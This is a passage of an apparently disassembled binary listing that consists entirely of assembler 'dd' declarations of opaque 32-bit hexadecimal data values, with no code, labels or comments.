5A5069E8h, 566A06B0h, 31698F36h dd 105831F3h, 0D0D88653h, 2109FAFh, 704B82A7h, 0D8BCFF21h dd 0B6D87F08h, 41938CE1h, 962B050h, 8DCB9048h, 0B41F48C8h dd 42C99D06h, 0B319997Bh, 0D93801BDh, 2210888Ah, 7F12F8A0h dd 89CAF330h, 0CA9E9253h, 0F88833D0h, 6C319C6Bh, 9F73394Dh dd 0FEE47000h, 0D2027CADh, 22CB23EEh, 70B63413h, 3C89170Ch dd 503331B5h, 703090C9h, 16CAD25h, 0D36B2F5Bh, 66420716h dd 26D087A1h, 49D06C0Ah, 14DE222Fh, 0CBC2F314h, 0C49F1288h dd 5C572400h, 48C63062h, 4918A45Ah, 0A3BFF8D1h, 7BE660C4h dd 0B4CE9081h, 51C23C00h, 0D76272F8h, 83215808h, 145FCF90h dd 0F85D8638h, 68E131Fh, 106004B0h, 303086EDh, 30E898D2h dd 0AAB88C5Bh, 0C0F84B1Dh, 1E0C1C4Ch, 193E282Ah, 2B58B347h dd 8C0BCC2h, 0FB866A5Ch, 62949386h, 99F6370h, 0E80ECC46h dd 8A4C7C0Bh, 0D00EE872h, 0E0D41527h, 207CC9DFh, 0B3241598h dd 31BD8CFEh, 0C61AE8BBh, 63AF7020h, 0FAF908FBh, 879B6810h dd 18634538h, 0F02B5669h, 1BE1F028h, 5EECD6DDh, 325C90C2h dd 3950D91Ch, 6805C4Fh, 68D7E4E1h, 891981D3h, 3E3A9038h dd 30DB7FD8h, 13E15FADh, 70D2634Ah, 926842Ah, 69130CCAh dd 40623370h, 8383D038h, 11151088h, 0E0FF4BF1h, 45309F27h dd 0C5B6D0D3h, 480B7F0Eh, 0A18B8233h, 91F94069h, 619F0005h dd 0B83944Ch, 0D800567Dh, 0C255C6AEh, 1260347h, 3212A8C8h dd 88456B7Fh, 1194EB40h, 76CEA00Bh, 84544B3h, 638B6740h dd 0C02B0810h, 0C4CB4010h, 0F590FEF3h, 210CB586h, 79EBE8C8h dd 4B08C299h, 700E602Dh, 6DBAAB0Ch, 58DDBF60h, 8DC04C29h dd 6B3CB98h, 48C9C7D1h, 866151FDh, 602E2B08h, 0B014C02h dd 608A76C7h, 1B8017C4h, 0A9A168C0h, 0BDC09581h, 0C3CFF0A4h dd 28F7447Fh, 5715B920h, 84DEA0BDh, 443F0399h, 2B05C088h dd 0A49C7CBDh, 3B98320Ch, 446838FEh, 8057AC8Dh, 8D469E8Ch dd 0E2718A75h, 6C8056ABh dd 9B01B080h, 11C57E6Dh, 0D80045B5h, 0CFBE08DDh, 0E85966FAh dd 8B180830h, 0A38858E6h, 17CAD86h, 0F1AFE677h, 9848BACBh dd 0E038076Eh, 0EF48CC1Ah, 85206B08h, 1C943E48h, 1558CB08h dd 0AB10EA18h, 8BE0A045h, 6B08C641h, 4B0E3017h, 869012D2h dd 3B286183h, 6F7CFB94h, 0CB0608BDh, 27203071h, 0EF531F6Ch dd 0EC070E82h, 0A2262B83h, 9C5C077h, 94064589h, 3E20CCA7h dd 0EB0A6ED2h, 7CA08658h, 0A512A4E8h, 4C03CEFEh, 0EF8B388h dd 90160F90h, 0EB083A8Ch, 6B98B561h, 427864Ah, 0A55F8480h dd 50C6D3F8h, 2BB00668h, 601C54CBh, 0B26C1EA4h, 71BCE148h dd 8B38FD62h, 0DCBC61h, 0E17C552h, 7E18653h, 0A00C5400h dd 2349B7C0h, 49D00DDh, 35F7C1B2h, 52031670h, 0ACE20385h dd 0F430018Bh, 0B7BD3198h, 7738910Bh, 0AEC8ACA0h, 0C4147244h dd 3D7C3731h, 443C55D0h, 9164B47Fh, 0F7483768h, 79C2E0D3h dd 0D4D1C629h, 172B389Ch, 9A606C3Dh, 0C9E4373Ah, 258C7439h dd 8C3B838h, 7F841A77h, 0F08DEB0h, 170685B5h, 0D7221046h dd 843A574Fh, 0C265FDC1h, 6A9410B0h, 3F68CA50h, 0D974F888h dd 9AC51300h, 14340607h, 8839D172h, 9F506DF0h, 54398362h dd 8A3707B1h, 4077088Ch, 311CEBF8h, 0F4416351h, 0F77A70DEh dd 0C7740156h, 507358E4h, 14381F99h, 6306607Ah, 0A7D7BD15h dd 0B9372008h, 6F0A1719h, 0A4418D90h, 0AC4014D7h, 806297B7h dd 0DDF9EA2Dh, 57188D5Ch, 0A4FD0837h, 30773085h, 0CF840A63h dd 9DE98C4h, 8C81F6D5h, 194706FAh, 0C0605656h, 1140C2A4h dd 6240928Ch, 277F812h, 9C0CB8BEh, 0F9972A96h, 388AF5D4h dd 0F8B433D7h, 0EFEFD1Bh, 607471C2h, 401F0636h, 8D01731h dd 3701CC97h, 0F17E31A4h, 0E1502103h, 4685B33h, 0DA14B5FCh dd 40F9444h, 3C9F05B7h, 8CCEC802h, 382E9980h, 19DE7939h dd 11C677C1h, 0B69990F2h, 43613A78h, 9805F715h, 32507BF0h dd 54995363h, 6E92B19h, 7FF1E098h, 87403FD1h, 800257F4h dd 0CE0B1CC1h, 14C984A4h, 448240D5h, 780BE08h, 1746A2D1h dd 0B40601B7h, 0D7E089DFh, 5724018Ah, 0A028401h, 0C7865849h dd 7B69F012h, 1883340Dh, 845F5CE1h, 4CE60873h, 0D4058934h dd 0F009178Dh, 97040241h, 0F7944064h, 44A0927Ch, 6F400AACh dd 4198A529h, 51D35E09h, 5B5B7480h, 2768037Ch, 3691D9h dd 0C2201E11h, 0FC2E9842h, 0A56FB370h, 0C1D3C180h, 0C05F3897h dd 9D002846h, 57EFA595h, 33304466h, 2DD35884h, 6BE8DF39h dd 0AA906C28h, 39204253h, 2497C073h, 0FA02BD6h, 0C1D4732h dd 0D7B07E72h, 3A1CC94Ch, 0AFEE4002h, 5A8B09Ch, 46FCF068h dd 0D51DBB09h, 0C2D700FEh, 74A81FBFh, 0F4DF0175h, 0B93FD0CCh dd 0D85FF0ABh, 1D188960h, 3A1FC1FBh, 1F7DFC5Dh, 0CC22CBCh dd 8F4203A6h, 9F1F0278h, 7F075B86h, 15F0D8E2h, 0F0C3499Dh dd 188B01CEh, 34DBB7DAh, 0D1444DC9h, 0F956B810h, 9F30D071h dd 54FF90D7h, 0DFC31B1Ch, 12E198A8h, 0AC5FE023h, 3F18A0DEh dd 409BFF08h, 0B663D789h, 373199B8h, 4BB85088h, 3F83258Eh dd 1FE019B4h, 0B8CC1A61h, 707F0895h, 7010CC65h, 0A96F1FE0h dd 0F1F68CD8h, 3DE0DE43h, 3F370D3Eh, 3C15C4E9h, 976E1136h dd 16DBC667h, 7D7F0336h, 0F1FFD0D1h, 503FE810h, 8FC01068h dd 1F0621B3h, 0ED6FE97Ah, 9F58CE0h, 60E9C69Eh, 756F5232h dd 9F9085F0h, 0B812C40Dh, 800798D8h, 38CDD5A1h, 5AD11873h dd 0E8EBD998h, 0DF803EFFh, 0D51F808Eh, 0E42BE0DFh, 38CAACC2h dd 29506D7Bh, 0DCA97FD0h, 0EEC99BAEh, 5B2DAB8h, 0FFD0463Fh dd 0F051B146h, 4149E1D4h, 90877FC4h, 547867B1h, 40D4C0DCh dd 0BCADE25Bh, 0E19E1788h, 8720D49Bh, 0D0CD6290h, 0A344DC4Ah dd 14C4588Ah, 6A827CBh, 503AC83Bh, 7FD8AF50h, 1FA44750h dd 0AC0CA348h, 284CF7A7h, 2667285Bh, 482C4894h, 0C0A29F14h dd 0B929C4ACh, 0FB0924EBh, 9F90036Bh, 7F080C50h, 71022A0h dd 0BB583263h, 79F03106h, 0F701FF08h, 53884E4h, 0F9A9FB8h dd 81B5FB4h, 2AB505CFh, 68E72BB8h, 45381B1Ah, 0F1226204h dd 0F7A21C93h, 34A99049h, 1F80A048h, 18CA64ABh, 5F2481D1h dd 9F0889A2h, 0C2D82474h, 4A3A521Fh, 56C4BD14h, 0DB140AEFh dd 0DF1D9C7Ah, 933120B6h, 0FD3F4831h, 0B5FF688Ah, 942954CCh dd 7B8A6C21h, 1F1DC086h, 6759A8A9h, 0CF9B130Ah, 0E65FB804h dd 0B07ADC97h, 12DC4356h, 5C06D4E3h, 4DC03021h, 4C268080h dd 19F0588h, 10982AB5h, 51989EAFh, 48C2785Bh, 31820DFh dd 0A015FB31h, 0E094B467h, 3133114Fh, 0FB48E853h, 2939986Ch dd 802BDF48h, 0A483E73Fh, 1A084868h, 8E9F79Eh, 0AD92351Bh dd 5F9EC7Ch, 525B5AD1h, 12685D4Fh, 8A1C7D7Ah, 0AC624670h dd 4FB3DBE2h, 8A70B1D8h, 0D17B1C39h, 26E17038h, 9B384CFAh dd 905F0624h, 3C88C0Bh, 2C33587Ch, 93086AB8h, 0D0AC4AD2h dd 9821DB30h, 19E690EAh, 9F58CC3Bh, 0A7305C22h, 191A7F50h dd 5FBDD1F1h, 0B6B862B0h, 591013F9h, 7F12BC5Bh, 0FFB004BEh dd 9AB493F0h, 8F1F0819h, 0FF00BA71h, 1380078Ch, 4038C966h dd 2C875CA3h, 448E07Fh, 74BD2B18h, 383A02E2h, 5F80A2FBh dd 84765C05h, 3CB8672Ch, 9F2E88A0h, 1E9284FBh, 73082C1Eh dd 0F8B71509h, 668002F4h, 1B30F207h, 918B837Bh, 20770920h dd 7F2C949Fh, 0C987A0B0h, 9742D0D6h, 8058C1D3h, 751D098Ch dd 7465DE30h, 1C810A08h, 0B4609DFFh, 1D81313Fh, 8CCFE210h dd 28851340h, 18834827h, 0CA4EB26h, 0FF08C23Fh, 4189DD20h dd 0B801F0D6h, 0B6B928C6h, 10046290h, 2C498E5Fh, 0DF883056h dd 26E03D59h, 7F0A2822h, 243ED862h, 0E896C0D7h, 3046E852h dd 3810FC3Fh, 64CC01DFh, 30E45C28h, 1F084D9Fh, 48CB0525h dd 2A502254h, 0D41E0208h, 0D593CC83h, 9EE9032h, 0B38C0FA3h dd 60BA5711h, 80FD0832h, 926CE942h, 0A99F088Ch, 9C8A011h dd 30903686h, 7CAA7F2Ch, 0B004348Ch, 9F10C6F0h, 624109EAh dd 50741EF1h, 0EA149BBCh, 39820838h, 0BAF88EEh, 6C255B1Fh dd 3FD08124h, 42DC4784h, 0C885B176h, 429046D3h, 0F9506807h dd 0A1635FA4h, 10D71F10h, 11CADF08h, 428A27Fh, 9CBF32B0h dd 9F027229h, 2C5F0343h, 0B02E392Ah, 0F1A0A551h, 0A8B875BDh dd 29CD1C21h, 8BE1880Ah, 0BC241C28h, 4E2356FCh, 63DB88F8h dd 0EA70A038h, 0CAF9CCF5h, 0CE04DA09h, 0CF0BFFD0h, 6093F109h dd 8CF88851h, 48651109h, 58F891BCh, 128E3B2Ah, 125E5D7Bh dd 3F704270h, 9443D06Fh, 0FFFC92DDh, 424A00Ah, 0AC041293h dd 7092495Fh, 322458C9h, 0CE901AB1h, 0E620465h, 9B88B861h dd 9F88C542h, 0CFFCD2B1h, 3A622845h, 0E9115Ch, 0CC85153Bh dd 0FFB05BA8h, 60B1B5E0h, 0D04DF651h, 505B498Ch, 8C4B3F90h dd 3C40B008h, 0AAA9F16Fh, 0F967FCA6h, 6AC81C4Ch, 1F808B8h dd 19DB18DCh, 4C6111CFh, 8035FE01h, 0B69C08FBh, 0F406205Bh dd 31A47434h, 94B33C2Bh, 0A7C038E8h, 4A77FBF1h, 0B6900A2Bh dd 2A87F8D8h, 316201FAh, 0EF051B30h, 78ED8ED8h, 3030C986h dd 0B504BB14h, 826F888h, 4EAD61BBh, 1D401C1Ah, 70970970h dd 99C8086h, 30DE3EF8h, 392BBB02h, 3D109AECh, 6C88604h dd 540010BCh, 66A72DFFh, 0EE89E718h, 6FAA006Bh, 0C915C8E3h dd 3A0E8AA0h, 0CCBE4F6Eh, 0F1FB28A6h, 13E66211h, 0DA428C44h dd 9F02A431h, 0DEC32288h dd 0A28F702Eh, 79D331F1h, 0D82002FDh, 94D600CEh, 0F5A7C4AEh dd 5900E50Eh, 5B5CBC4Bh, 85A0B0h, 7160410h, 0FCE41348h dd 0B786A07h, 36F76035h, 82466EB0h, 0BDB71ECFh, 0A7CC3EE8h dd 0B8A5F900h, 37258709h, 0AD6C5900h, 4386ECD8h, 91670042h dd 0AE93C97h, 90001A5Bh, 59EED241h, 1EAB575h, 0CE3CE4Dh dd 0CC2148E0h, 110334E8h, 0EFB430FBh, 2090A8ADh, 5030170h dd 0D2D6419Ch, 7BB8537Dh, 6C85F5C0h, 65E71C07h, 4660046Dh dd 0A05295h, 9F7A7D75h, 21D136Bh, 0AE2EE702h, 8F464CA1h dd 0CCD2EF89h, 0EA88D8E6h, 7C490130h, 69D5519Bh, 0B7E44771h dd 9DE7E05Ch, 3F1E0D70h, 1081E68Bh, 0CF763E4h, 0A2FAD0h dd 5147468h, 936C7A88h, 0E9D51000h, 9F7BAB32h, 6D280070h dd 0AA36E09h, 0CF00C15Ah, 0BCEAF5A4h, 4AF020h, 0B1F84D71h dd 0A5AFD7F6h, 7A00E5FAh, 4B05A83Bh, 0EA4859E3h, 73492B4h dd 0D1C12F66h, 0FB7BC030h, 5418A65Ah, 63503329h, 0DAC70052h dd 0AAAF409Bh, 961C88Fh, 42C7A88h, 0DEEF36E4h, 0F34AC138h dd 41DF73E4h, 1323B9ACh, 7425F804h, 48B600CAh, 0C37F2CBBh dd 0AB0FC0E1h, 0C37E3946h, 0A0693C25h, 1D7C701h, 13E6A5E0h dd 0E0FB3851h, 1007DCBFh, 4539340Bh, 0ECE803E0h, 74940001h dd 8F6B141Eh, 9700FF50h, 181BF9F3h, 0E6DBF5h, 9AD2A8D7h dd 0C35FB7Ah, 0BD9B5E00h, 0CF0163C9h, 94D90273h, 2D1B18F2h dd 5F9380F5h, 1DEDA775h, 0C0EE92BCh, 0A9510477h, 8A05E809h dd 0F6C2C829h, 0F74AE000h, 244F66h, 7803C357h, 98E1286Bh dd 40CB7B01h, 7493213Bh, 37F8F8h, 5B1590C9h, 6DB7310Fh dd 0E11BE900h, 0FB79326Fh, 307090Ah, 8400CA3Ah, 0F4144A49h dd 3FF5180h, 93B70DEEh, 84E8C758h, 0A009E77h, 3AC4B57Ah dd 0D11269h, 6B40A162h, 0DB87442Bh, 78880200h, 0B357528Dh dd 56261CA7h, 79B18092h, 0A2F00FE9h, 3C3A9674h, 94780A8h dd 0B523E27Ah, 0DC6C5045h, 503D487Bh, 1000213Ah, 0F1BF08F3h dd 0B400E1AFh, 0A822906Eh, 0D8266Fh, 3914ADC5h, 6647B15Dh dd 0AE494100h, 1D59A81Fh, 2C7600BFh, 4044F26Ah, 4E188C56h dd 57207D46h, 0A10B009Eh, 0CC9577AFh, 0DD0331BCh, 82F6D7D5h dd 0D05DB853h, 7478090Eh, 3C00FA9Dh, 83A8C4FDh, 20BF1000h dd 0BD7EA651h, 262D0072h, 0A44487B3h, 41000168h, 983AD511h dd 1F09FDh, 0E08EB96Fh, 0CC19220Fh, 0BE933900h, 0A38882DBh dd 5C9B1229h, 1B580083h, 93D6EEB7h, 9FA02400h, 0B8FC529Eh dd 0E17C004Fh, 3E2AF5CEh, 672F903h, 0F0F6200Eh, 511700BCh dd 2CBF36h, 0DA6AFDB8h, 58F39C0Ch, 3A7D6300h, 0E7EC32E8h dd 8D90003Dh, 3B1D39EAh, 0FA48ABC4h, 106F8090h, 75EE3A97h dd 77990081h, 501FC766h, 0B700C4B1h, 6717DB31h, 9D024h dd 0C549F107h, 0B579B019h, 2D47AC00h, 48E7CC89h, 28A51F12h dd 889080E3h, 0ECB152E1h, 8CA39B00h, 0CA166AD0h, 0A03B001Bh dd 3E01D6DAh, 0DD0038A1h, 0E54DBA5Dh, 0F9C3AFh, 465862FBh dd 6660CBCDh, 717AAA00h, 8781B173h, 76950078h, 0EEB0F756h dd 0C700C00Eh, 3D320B66h, 1364CBCh, 6C0C259Ah, 0F8B3B7D4h dd 2D0315A7h, 0C08E014Bh, 0CC5BD84Dh, 78CE008Fh, 0F5B4C32Ah dd 0EE0086ADh, 2434FCFEh, 1B9220Eh, 85D42B8Ch, 40AF4903h dd 32C227D4h, 0C05FE900h, 0DE77A3E5h, 1BC500F7h, 41C894B9h dd 0F61FA859h, 0BCDED305h, 7300CF1Ch, 0D7DC3433h, 727C0008h dd 0E952E7C7h, 0B1797547h, 48512E80h, 93C280D6h, 0CC609F66h dd 0A60007C7h, 0ED60A91Bh, 0F2ECADh, 12E29DAAh, 7174CD30h dd 7E70C500h, 104FE08Ch, 5C2148F5h, 0D41B6914h, 624E3201h dd 0FCF06E02h, 0A3009945h, 79A48DDEh, 1266D898h, 2DA1ABh dd 920107EEh, 75073DEBh, 77EA7287h, 47C0B9B4h, 7BD8B48h dd 4B95C461h, 66E9F013h, 8C90056Ch, 5306D480h, 0B5B5700h dd 93FA7E1Bh, 0B17F00B0h, 4FEC56E4h, 5000D6CDh, 36DB855Ch dd 8B6EA3h, 2E3965A6h, 9383155Ah, 0FAE84F02h, 682BD9D6h dd 0B904167Ch, 8943D400h, 3A65FB00h, 5D70CDE4h, 0C88E5B0Eh dd 0CFB9C0A3h, 3D562Eh, 0E20DDA24h, 432C74BCh, 68988007h dd 75B04DD7h, 6EB392h, 694E95Fh, 5E0E61C0h, 0EE934400h dd 2B048479h, 47B6A0AAh, 62A401B7h, 0A19AD75Dh, 6B64604Bh dd 4353AE03h, 372D89h, 0E3D4FF98h, 22836CD3h, 0ED63C801h dd 6FB0A371h, 0F484ACE8h, 0D24C078Ch, 10393B77h, 0B3317283h dd 0F0C42B00h, 27EA7B17h, 741D0BA3h, 14AA88D8h, 9AC8019Ah dd 30CA1A1Eh, 0F603D2CCh, 58AC6F16h, 2C4F826h, 0FB80E09Ch dd 20BDD8h, 1336602Bh, 912F831Fh, 1B798D0Ch, 7D65070h dd 7F344BCBh, 0C662015h, 7300D8FFh, 36CEE9A6h, 384C3Ah dd 91B3ABE1h, 0C313BB58h, 0C9063307h, 0D3B07721h, 16DF97h dd 0EF356E1Bh, 7387CCC1h, 0F102DD00h, 75277BE7h, 0F8B400E9h dd 0F4031D4Ah, 0A40133CAh, 0B1DD4815h, 720E6C6h, 8FA0Bh dd 1485F039h, 0D37F3DBAh, 4EA82760h, 0DEB53824h, 17068AD0h dd 95C500D1h, 0F15CF657h, 603B4Ch, 0FC754F3Dh, 80DE35h dd 142155E9h, 0B26F2CDCh, 0C0C89901h, 0CDB3D74Ah, 0F28840C0h dd 0E6C10B7Eh, 0B88577CBh, 0FE5CC88Fh, 12E51A48h, 4F030AE9h dd 0D2AC8A28h, 979C6066h, 0E11D00D4h, 3BDCF121h, 2F0C5F2Ah dd 0F00EBD17h, 48860010h, 5EEB145Bh, 690BC292h, 97F919h dd 2457C829h, 797231h, 9370C4BCh, 2D1A6BD3h, 0EF4FC601h dd 87CFF382h, 7553F4h, 1EA9C8E4h, 8C83B729h, 0A8953907h dd 4952A6D5h, 0E4A4848Fh, 9A50D8h, 0DAF11C32h, 502881C0h dd 3DFCB71Ch, 2079E5CBh, 315D5154h, 0B8BE0047h, 926280F9h dd 0D07A7EFh, 0FFF69D55h, 105F3750h, 0B3F500DCh, 0F48874ECh dd 7500983Eh, 80A246A8h, 4C11A5h, 0E3074E08h, 92595DC6h dd 0FEC9DC00h, 0DD1510FFh, 3E8FAh, 0ACEBA37Ah, 2B06463Bh dd 16BDBF24h, 0F670B130h, 39E4905Ah, 61808595h, 9E20FEBh dd 0DE1F843Bh, 0A6CF78E1h, 93CCC032h, 8E5A6Ch, 6D1C2CDBh dd 0C752ABB9h, 0F4EEBB00h, 78B2CF1Ah, 2B910034h, 0ED27C5C6h dd 0E0015D0h, 1F38839Ch, 0CC39536h, 3332A294h, 1800AA29h dd 0FC50267Dh, 0A7085Eh, 0EC192751h, 0B98503D2h, 3798A300h dd 682C9CDFh, 87B41D0Bh, 0C1D68036h, 4DBCD88Dh, 3C40C903h dd 0F30DA8CFh, 96DFA809h, 9AF91FF6h, 0F24380ABh, 0EFEC21CEh dd 0D3841B01h, 0AAD886EEh, 0B37464h, 9946B05Ch, 2EC8FF73h dd 7D19070Ah, 0A83098BDh, 11F9C0h, 231AC9D2h, 4B9B3A54h dd 26B041EFh, 8B3E7067h, 0C60F517Dh, 8FD09445h, 0D15EFC1Dh dd 6104980h, 626E9Ah, 0F03E9363h, 0F6F887EFh, 807A313Ch dd 89E1A36Ah, 7546BB8h, 5A1BC2D7h, 80AB76A1h, 0EE0037E0h dd 4C55A06Dh, 3D9CCF2h, 61A31BDBh, 38008669h, 0DAC00AB6h dd 6A6B72Bh, 2212C934h, 890040B0h, 0AFFA477Eh, 0C56F30F4h dd 0A90530h, 73C02AF3h, 0EE762C1Eh, 0A6EB3200h, 0A31F37D4h dd 48590693h, 48548592h, 0DA940305h, 88D02A82h, 3B04312h dd 0F5A5DB52h, 5D93669h, 9F7CC406h, 0EBEF3F00h, 372674BEh dd 42F600B1h, 52BFADB9h, 0F3071AC1h, 0E73F89CAh, 88351BC0h dd 5EB9007Fh, 2EE12CECh, 0F0E52FAEh, 0CE00266Fh, 8696AAA6h dd 3C605Dh, 0C13F0B7h, 9D6131BCh, 0E3EEBD00h, 6234EFCh dd 53C5121Ch, 0D0F707D2h dd 4BA3F0C7h, 740FCE49h, 833FBEAAh, 0C0BB5EDAh, 67791ECFh dd 0A07DFCA7h, 838ACC5Fh, 0EDE8948h, 7CBF7163h, 7B309680h dd 58B50AC7h, 0CF0B1818h, 60805637h, 172CF09Ch, 190EA300h dd 0DDE69DC5h, 484F00E2h, 0F1E913DFh, 21738C25h, 0A2290A0Eh dd 0E8C01E37h, 0D75F2C8Ah, 91C96C6h, 7880B47Eh, 2D9A14E4h dd 3C7A1E2Ch, 3E3DE300h, 133283Bh, 0BB43A29Fh, 60380115h dd 0BF036C80h, 2AB4A69Bh, 73329882h, 6EBA0026h, 8D2B709Ch dd 18000B44h, 0E4224A8h, 0FCC90717h, 27F3F2FCh, 0D800AD86h dd 0EBEE95BFh, 4DF6E401h, 433774C2h, 5BD80331h, 0DDF7008Bh dd 0BD23ADA1h, 0FC73F331h, 92E9A800h, 7C3E0C38h, 0A8B0FC8h dd 0A40B8A94h, 0ACC2B783h, 34C32DEAh, 72F701A8h, 216D33Dh dd 0ADBCC7EBh, 0E8CC87CBh, 0FB3BD910h, 5E1501A0h, 0BFF23595h dd 474ED9C2h, 505F4h, 9DAB9BB8h, 4896348Eh, 8536D401h dd 9838E7E5h, 88A85629h, 8C005DB6h, 0E9F6CFECh, 0CEEB12DEh dd 0ADA000D3h, 0A32B3763h, 164BE70Eh, 55B8E1Ch, 7080B9A0h dd 3AB254Ch, 691E288Eh, 8BEAE574h, 801DF2C1h, 72634810h dd 340824Ah, 0CEFED2F4h, 99886062h, 0AA00FAC2h, 795631Bh dd 46ED67h, 0C5F34D72h, 24E7587Eh, 9B007377h, 9FD353D5h dd 0E07DD01h, 279E5426h, 326F7A00h, 0F22EC4D4h, 79003AE3h dd 0C39B8A73h, 450E0024h, 7702641Fh, 1A00C871h, 0CF12C7EAh dd 0C9A032h, 0FB8BBD18h, 0E34B0C56h, 0D4F27C07h, 64302376h dd 1B3C5Dh, 7B91ED73h, 0B1F63642h, 5AB23A00h, 0CFAAEB2Eh dd 0D240006Bh, 632A32D0h, 81075E9Ch, 0C86254B9h, 8FC12341h dd 13F8160h, 1C2F3A2Dh, 0DC9E9B73h, 0A90159A8h, 7555385Dh dd 0C3C9B472h, 1934D0h, 2A92B5B3h, 0CC829D90h, 0D500305Eh dd 3970BFDAh, 156300CFh, 2BEAFCEDh, 0F60E4FBEh, 600C5279h dd 10C7D777h, 164757Dh, 0D3F04C62h, 0D51BAB14h, 2E6DC453h dd 55C2B10Ch, 18506Eh, 0F15E5247h, 0FB01ABF9h, 29548700h dd 0C41F3D38h, 40610035h, 745F7CA0h, 3EEA6562h, 9E453700h dd 0EF0C6867h, 0FFAA00F9h, 0DE7A0EEAh, 0F83F358Dh, 0DA3281BBh dd 0CB248278h, 0B5E58040h, 8AFC0611h, 30E96D51h, 6B00647Eh dd 0B082A970h, 20957905h, 4C3E2C52h, 0CD0C1734h, 1FE1BD00h dd 811874h, 8F566CBEh, 14DE96B8h, 8E731A00h, 47155BE2h dd 3C5C0FBAh, 9EE4FA34h, 60B480B9h, 6778634Ah, 0C13E4103h dd 0D8649D70h, 656FDBh, 20C57C21h, 1C521225h, 6E77AE00h dd 93E44535h, 0C7A80070h, 2CC158ECh, 43002BBDh, 7044EE0h dd 3DA37B1Bh, 0A79F9BCDh, 0EBCF0F31h, 0FA3F407Dh, 0CC8F965Fh dd 1116321Dh, 0FD00F47Fh, 0EDD491F0h, 8D7B41h, 5BA4AA47h dd 8BB9C2D8h, 69D08E00h, 0F9F0295Dh, 26520782h, 39E73413h dd 0E985EA00h, 0E006EFBh, 0AE94C483h, 0D04E97h, 96290CE2h dd 8548B054h, 0D1CE3300h, 61E60BDBh, 0D7F700C2h, 63144730h dd 35002BD3h, 7D56E09h, 60FCD2CBh, 99719A9Ah, 8700A2D1h dd 0C36ACA86h, 3DD0B0h, 0ABEDFF02h, 8ACE9C58h, 7B992D00h dd 0D93BFE3Ch, 25FABCh, 903462FFh, 0A7599E5Bh, 92808900h dd 63F3EB0Ah, 9CC403C3h, 0F51C296Ch, 138A60D0h, 94D62E00h dd 54815186h, 0EEF01C9Dh, 0CCC343FDh, 70EF43C4h, 251E949Ah dd 0BB4C1400h, 2C770459h, 4B7F0365h, 153FF2D4h, 6C23BD88h dd 9C8ABC00h, 0E95EE1BFh, 29370094h, 0A845A236h, 3A1B9EFFh dd 0B8105843h, 444F05h, 53B288F4h, 16D6F634h, 0DBC8F200h dd 5619E22Bh, 0B8ED0096h, 83F9DDA4h, 0B2005C0Ch, 38727DD8h dd 9B2977h, 0CE2CDA21h, 0EFF1C9F0h, 0ED17BE13h, 3F553407h dd 84B4EBC0h, 7BB7DA2h, 1E39E3D0h, 919960AEh, 98000DCBh dd 3B6702D8h, 0C06BD3E7h, 2C3F11F1h, 725C2A87h, 92320006h dd 0FD0DDFFFh, 0A11835AAh, 0CF5F8050h, 640084A2h, 0C4E54649h dd 0A0ED7AA6h, 0CE05D8h, 256DEA51h, 2B9731D7h, 0D101062Ch dd 7F26853Dh, 0E003FCC9h, 0E8852E83h, 1BBACA5h, 14979E35h dd 80FFC30Fh, 945D5820h, 0F8D5E71Ah, 59BC00ECh, 0FCDAF690h dd 0C33C65FEh, 8CE6286Fh, 5267C600h, 223CCD2Bh, 92EE09h dd 40B12174h, 0E6F5C5B6h, 8A616F00h, 707D348Fh, 0FC100AAh dd 74421E24h, 9E00BB1Fh, 0EE4B7173h, 0FF0BF1h, 0F02F96DAh dd 0A27B01A7h, 5DB2CE1Ch, 721CBC00h, 3DAF9E9h, 0EE9F69EFh dd 90809D92h, 0B8005704h, 0F6793521h, 3A70C734h, 47804FCAh dd 37391F5Ch, 9800D52Dh, 0E7087590h, 404C5Dh, 8E799264h dd 36BB410h, 0CB0C593Fh, 0EE6032C7h, 18DDA77h, 14CBE166h dd 0F88EF4DCh, 81DB76Dh, 40C02C31h, 5B042D5Ch, 2FDF0078h dd 1A467EE2h, 2A00EF9Bh, 0FDC2EEFEh, 8B198Ch, 6851A967h dd 0AB7EA87Fh, 21F37900h, 7ACD231h, 16F57AEBh, 13D01108h dd 0A6DA003Ah, 0B5C541B7h, 0CE51F4Ch, 2EC3162Fh, 817008Ah dd 5D949918h, 563BA6C7h, 9D00FA2Eh, 24703945h, 0EA0E06h dd 9E30E23Ch, 0ABAAC007h, 9F32A900h, 1EB3AEE7h, 0E5500D1h dd 8DD6CF36h, 43713B25h, 0BE5DA800h, 0A4F81003h, 5F971E39h dd 4CED8027h, 75B1CE8Fh, 1179D818h, 7D9B81h, 0A6766D3Fh dd 44EEA1B2h, 0E2E4C67Eh, 1AB3B900h, 0EFE9C99Ah, 653F36E1h dd 5F002811h, 0C202A62Ah, 3FA9F70Eh, 0CA80A786h, 0C4DAB464h dd 1480C166h, 0CBB906FFh, 405E3BC5h, 12F21BF8h, 0FD63A1F4h dd 0B62390h, 10A3A511h, 0B736E160h, 864EDB0Ch, 65F80C1h dd 567D07BBh, 0D706493Fh, 6D90111Eh, 0BD5B03B0h, 0A727B32Dh dd 0FB1A3800h, 0A412948Ch, 9151005Ch, 0DC476A1h, 0E6488405h dd 0C5C80058h, 0E368DF26h, 0F0B1029Dh, 3F77D069h, 1DDCF7E0h dd 954F2E00h, 22F55113h, 1CECCBh, 0A74E6C71h, 7560A3B8h dd 439D106h, 3A34ABE9h, 0B380BD7Ah, 0FE17C424h, 0E3008A80h dd 0F07525Ah, 0A84254h, 21932996h, 5939D0A7h, 3ECE2F00h dd 0E941194Ah, 0C242AD5h, 11F8D0h, 0C54D125Ah, 251F554h dd 53804250h, 66401601h, 0B8896ACBh, 4C6203E4h, 90064CC7h dd 2841A597h, 98C1A12Ah, 918E18C6h, 0DFE2F858h, 84CB0421h dd 0B0071FFEh, 20812252h, 14C8CD95h, 0E28B0068h, 9D6FFF38h dd 0C018B818h, 0DE301BE7h, 5BD6002Ch, 8919A672h, 0DF071438h dd 135683E3h, 0FD680390h, 0CB511D21h, 5984CFFAh, 0AE697280h dd 8BFCADAAh, 0D7799D00h, 0FF20A764h, 0D83B0097h, 2848C32Fh dd 0A36342FAh, 0E0B3E8A9h, 960AE6h, 0E56A8CB2h, 4526241Ch dd 0A018D5F8h, 74E9C2AAh, 0A3F402h, 4240544Dh, 21A21B36h dd 4F005490h, 5D98B71Eh, 12841604h, 105FD8D4h, 5E60AC1Dh dd 911A6014h, 8074283Bh, 6EB8CFF1h, 0CC599Ah, 16C090EDh dd 0A03073Eh, 6D738200h, 6693644Bh, 0A2780376h, 2A5AB165h dd 0A57A29E8h, 8F7D9F00h, 593C8CC6h, 0EDF700D9h, 1B50DF80h dd 44018DAAh, 60A82A68h, 77D329CEh, 9FE90640h, 100343F8h dd 6499451Fh, 